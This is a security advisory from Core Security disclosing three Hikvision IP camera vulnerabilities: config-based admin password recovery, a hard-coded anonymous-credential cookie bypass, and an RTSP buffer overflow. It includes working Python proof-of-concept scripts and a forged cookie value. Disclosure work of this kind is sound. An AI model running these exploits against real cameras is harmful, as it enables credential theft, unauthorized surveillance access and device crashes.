Hikvision IP Cameras Overflow / Bypass / Privilege Escalation

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
Hikvision IP Cameras Multiple Vulnerabilities  
  
  
1. *Advisory Information*  
  
Title: Hikvision IP Cameras Multiple Vulnerabilities  
Advisory ID: CORE-2013-0708  
Advisory URL:  
http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities  
Date published: 2013-08-06  
Date of last update: 2013-08-06  
Vendors contacted: Hikvision  
Release mode: User release  
  
  
2. *Vulnerability Information*  
  
Class: Input validation error [CWE-20], Use of Hard-coded Credentials  
[CWE-798], Buffer overflow [CWE-119]  
Impact: Code execution, Security bypass  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2013-4975, CVE-2013-4976, CVE-2013-4977  
  
  
3. *Vulnerability Description*  
  
Multiple vulnerabilities have been found in Hikvision IP camera  
DS-2CD7153-E [1] (and potentially other cameras sharing the affected  
firmware [2]) that could allow a remote attacker:  
  
1. [CVE-2013-4975] To obtain the admin password from a non-privileged  
user account.  
2. [CVE-2013-4976] To bypass the anonymous user authentication using  
hard-coded credentials (even if the built-in anonymous user account was  
explicitly disabled).  
3. [CVE-2013-4977] To execute arbitrary code without authentication  
by exploiting a buffer overflow in the RTSP packet handler.  
  
  
4. *Vulnerable Packages*  
  
. Hikvision-DS-2CD7153-E IP camera with firmware v4.1.0 b130111 (Jan  
2013).  
. Other devices based on the same firmware [2] are probably affected  
too, but they were not checked.  
  
  
5. *Vendor Information, Solutions and Workarounds*  
  
There was no official answer from Hikvision after several attempts (see  
[Sec. 8]); contact vendor for further information. Some mitigation  
actions may be:  
  
. Do not expose the camera to internet unless absolutely necessary.  
. Have at least one proxy filtering HTTP requests to  
'/PSIA/System/ConfigurationData'.  
. Have at least one proxy filtering the 'Range' parameter in RTSP  
requests.  
  
  
6. *Credits*  
  
. [CVE-2013-4975] was discovered and researched by Alberto Solino  
from Core Security.  
. [CVE-2013-4976] was discovered and researched by Alejandro  
Rodriguez from Core Exploit QA Team.  
. [CVE-2013-4977] was discovered Anibal Sacco. Analysis and research  
by Anibal Sacco and Federico Muttis from Core Exploit Writers Team.  
. The publication of this advisory was coordinated by Fernando  
Miranda from Core Advisories Team.  
  
  
7. *Technical Description / Proof of Concept Code*  
  
7.1. *Privilege Escalation through ConfigurationData Request*  
  
[CVE-2013-4975] The following script allows obtaining the administrator  
password by requesting the camera's configuration data and breaking its  
trivial encryption. A valid user account is needed to launch the attack.  
  
/-----  
import urllib2  
import base64  
import argparse  
import sys  
  
def decrypt(config):  
# Important: We're assuming the last 4 bytes of the file's plaintext  
are   
# zero, hence there we have the key. There are other easy ways to  
# calculate this tho.  
print '[*] Decrypting config'  
key = config[-4:]  
plaintext = ''  
for i in range(len(config)/4):  
for j in range(4):  
plaintext += chr(ord(config[i*4+j]) ^ ord(key[j]))  
return plaintext  
  
def attack(target, username, password, output):  
base_url = 'http://' + target + '/PSIA/System/ConfigurationData'  
headers = { 'Authorization': 'Basic ' + base64.b64encode('%s:%s'  
%(username,password)) }  
print '[*] Attacking %s ' % target  
req = urllib2.Request(base_url, None, headers)  
try:  
response = urllib2.urlopen(req)  
config = response.read()  
except Exception, e:  
print e  
return  
plaintext = decrypt(config)  
print '[*] Writing output file %s' % output  
f = open(output, 'w')  
f.write(plaintext)  
f.close()  
user = plaintext[0x45A0:0x45A0+32]  
pwd = plaintext[0x45C0:0x45C0+16]  
print 'Probably the admin user is %s and the password is %s' %  
(user, pwd)  
print "If it doesn't make any sense, just do a strings of the output  
file"  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser()  
parser.add_argument('target', action = 'store', help = 'target host  
to attack')  
parser.add_argument('username', action = 'store', help = 'username  
to be used to authenticate against target')  
parser.add_argument('password', action = 'store', help = "username's  
password")  
parser.add_argument('output', action = 'store', help = "filename to  
write the plaintext config")  
if len(sys.argv) == 1:  
parser.print_help()  
sys.exit(1)  
options = parser.parse_args()  
attack(options.target, options.username, options.password,  
options.output)  
-----/  
  
  
7.2. *Anonymous User Authentication Bypass*  
  
[CVE-2013-4976] The camera has a built-in anonymous account intended for  
guest users, but even when the feature is disabled it could be bypassed  
due to the usage of hardcoded credentials:  
  
/-----  
user: anonymous  
password: \177\177\177\177\177\177   
-----/  
  
The bypass cannot be used directly through the login form but rather by  
forging a cookie:  
  
1. Load the login page to generate the initial cookies of the  
camera's webapp.  
2. Use your preferred tool (for example Firebug on Firefox) to create  
a cookie with the name 'userInfoXX' (replace XX with the port where the  
webserver is running i.e. 'userInfo80'), path '/' and value  
'YW5vbnltb3VzOlwxNzdcMTc3XDE3N1wxNzdcMTc3XDE3Nw=='; this is the tuple  
'user:pass' encoded in base64 explained above.  
3. Request the URI 'http:/<ipcam>/doc/pages/main.asp', a page that  
should not be accessed without authentication if the anonymous user is  
disabled.  
There are several references to those hardcoded credentials in the cgis,  
but in particular the following snippet was found in  
'/doc/pages/scripts/login.js'::  
  
/-----  
107: function DoLogin(){  
(...)  
166:  
$.cookie('userInfo'+m_lHttpPort,m_szUserPwdValue==""?Base64.encode("anonymous:\177\177\177\177\177\177"   
):m_szUserPwdValue);  
(...)  
-----/  
  
This bypass is not completely useful per se since all the interesting  
requests are actually handled by the PSIA (Physical Security  
Interoperability Alliance's) API. Nevertheless, if it is ever combined  
with a privilege escalation it would allow remote attacker to control  
the camera without proper credentials.  
  
  
7.3. *Buffer Overflow in the RTSP Packet Handler*  
  
[CVE-2013-4977] The following Python script sends a specially crafted  
packet that triggers a buffer overrun condition when handling the  
'Range' parameter of a RTSP transaction. As a result, the process  
handling the communication crashes and the Watchdog service issues a  
full restart. No authentication is required to exploit this  
vulnerability and it would possible lead to a remote code execution.  
  
/-----  
import socket  
  
HOST = '192.168.1.100'  
PORT = 554   
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((HOST, PORT))  
  
trigger_pkt = "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST  
trigger_pkt += "CSeq: 7\r\n"  
trigger_pkt += "Range:  
npt=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS\r\n"  
trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media  
v2010.02.10)\r\n\r\n"  
  
s.sendall(trigger_pkt)  
print "Packet sent"  
data = s.recv(1024)  
print 'Received', repr(data), "\r\n"  
s.close()   
-----/  
  
  
8. *Report Timeline*  
  
. 2013-07-08:  
Core attempts to report the vulnerability using the Hikvision official  
contact addresses [3]. No reply received.  
  
. 2013-07-15:  
Core attempts to contact vendor.  
  
. 2013-07-22:  
Core attempts to contact vendor.  
  
. 2013-07-30:  
Core attempts to contact vendor.  
  
. 2013-08-06:  
Advisory CORE-2013-0708 published as 'user release'.  
  
  
9. *References*  
  
[1] Hikvision DS-2CD7153-E Network Mini Dome Camera,  
http://www.hikvision.com/en/products_show.asp?id=506.  
[2] Hikvision IP cameras using firmware v4.1.0 b130111:  
DS-2CD833F-E DS-2CD893PF-E DS-2CD893PFWD-E DS-2CD893NF-E  
DS-2CD893NFWD-E DS-2CD863PF-E DS-2CD863NF-E DS-2CD864F-E DS-2CD864FWD-E  
DS-2CD853F-E DS-2CD855F-E DS-2CD854F-E DS-2CD854FWD-E DS-2CD883F-E  
DS-2CD733F-E DS-2CD733F-EZ DS-2CD793PF-E DS-2CD793PF-EZ DS-2CD793PFWD-E  
DS-2CD793PFWD-EZ DS-2CD793NF-E DS-2CD793NF-EZ DS-2CD793NFWD-E  
DS-2CD793NFWD-EZ DS-2CD763PF-E DS-2CD763PF-EZ DS-2CD763NF-E  
DS-2CD763NF-EZ DS-2CD764F-E DS-2CD764F-EZ DS-2CD764FWD-E DS-2CD764FWD-EZ  
DS-2CD753F-E DS-2CD753F-EZ DS-2CD755F-E DS-2CD755F-EZ DS-2CD754F-E  
DS-2CD754F-EZ DS-2CD754FWD-E DS-2CD783F-E DS-2CD783F-EZ DS-2CD733F-EI  
DS-2CD733F-EIZ DS-2CD793PF-EI DS-2CD793PF-EIZ DS-2CD793PFWD-EI  
DS-2CD793PFWD-EIZ DS-2CD793NF-EI DS-2CD793NF-EIZ DS-2CD793NFWD-EI  
DS-2CD793NFWD-EIZ DS-2CD763PF-EI DS-2CD763PF-EIZ DS-2CD763NF-EI  
DS-2CD763NF-EIZ DS-2CD764F-EI DS-2CD764F-EIZ DS-2CD764FWD-EI  
DS-2CD764FWD-EIZ DS-2CD753F-EI DS-2CD753F-EIZ DS-2CD755F-EI  
DS-2CD755F-EIZ DS-2CD754F-EI DS-2CD754F-EIZ DS-2CD754FWD-EI  
DS-2CD783F-EI DS-2CD783F-EIZ DS-2CD7233F-EZ DS-2CD7233F-EZH  
DS-2CD7233F-EZS DS-2CD7233F-EZHS DS-2CD7293PF-EZ DS-2CD7293PF-EZH  
DS-2CD7293PFWD-EZ DS-2CD7293PFWD-EZH DS-2CD7293NF-EZ DS-2CD7293NF-EZH  
DS-2CD7293NFWD-EZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EZ DS-2CD7263PF-EZH  
DS-2CD7263PF-EZS DS-2CD7263PF-EZHS DS-2CD7263NF-EZ DS-2CD7263NF-EZH  
DS-2CD7263NF-EZS DS-2CD7263NF-EZHS DS-2CD7264FWD-EZ DS-2CD7264FWD-EZH  
DS-2CD7253F-EZ DS-2CD7253F-EZH DS-2CD7253F-EZS DS-2CD7253F-EZHS  
DS-2CD7255F-EZ DS-2CD7255F-EZH DS-2CD7254F-EZ DS-2CD7254F-EZH  
DS-2CD7254F-EZS DS-2CD7254F-EZHS DS-2CD7233F-EIZ DS-2CD7233F-EIZH  
DS-2CD7233F-EIZS DS-2CD7233F-EIZHS DS-2CD7293PF-EIZ DS-2CD7293PF-EIZH  
DS-2CD7293PFWD-EIZ DS-2CD7293PFWD-EIZH DS-2CD7293NF-EIZ DS-2CD7293NF-EZH  
DS-2CD7293NFWD-EIZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EIZ DS-2CD7263PF-EIZH  
DS-2CD7263PF-EIZH DS-2CD7263PF-EIZHS DS-2CD7263NF-EIZ DS-2CD7263NF-EIZH  
DS-2CD7263NF-EIZH DS-2CD7263NF-EIZHS DS-2CD7264FWD-EIZ  
DS-2CD7264FWD-EIZH DS-2CD7253F-EIZ DS-2CD7253F-EIZH DS-2CD7253F-EIZS  
DS-2CD7253F-EIZHS DS-2CD7255F-EIZ DS-2CD7255F-EIZH DS-2CD7254F-EIZ  
DS-2CD7254F-EIZH DS-2CD7254F-EIZH DS-2CD7254F-EIZHS DS-2CD7133-E  
DS-2CD8133F-E DS-2CD8133F-EI DS-2CD7164-E DS-2CD7153-E DS-2CD8153F-E  
DS-2CD8153F-EI DS-2CD8233F-E DS-2CD8233F-ES DS-2CD8264F-E  
DS-2CD8264FWD-E DS-2CD8264FWD-ES DS-2CD8253F-E DS-2CD8253F-ES  
DS-2CD8255F-E DS-2CD8254F-E DS-2CD8254F-ES DS-2CD8283F-E DS-2CD8283F-ES  
DS-2CD8233F-EI DS-2CD8233F-EIS DS-2CD8264F-EI DS-2CD8264FWD-EI  
DS-2CD8264FWD-EIS DS-2CD8253F-EI DS-2CD8253F-EIS DS-2CD8255F-EI  
DS-2CD8254F-EI DS-2CD8254F-EIS DS-2CD8283F-EI DS-2CD8283F-EIS  
DS-2CD8433F-EI DS-2CD8464F-EI.  
[3] Hikvision contact page,  
http://www.hikvision.com/En/US/contactHikvision.asp.  
  
  
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12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2013 Core Security  
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
13. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
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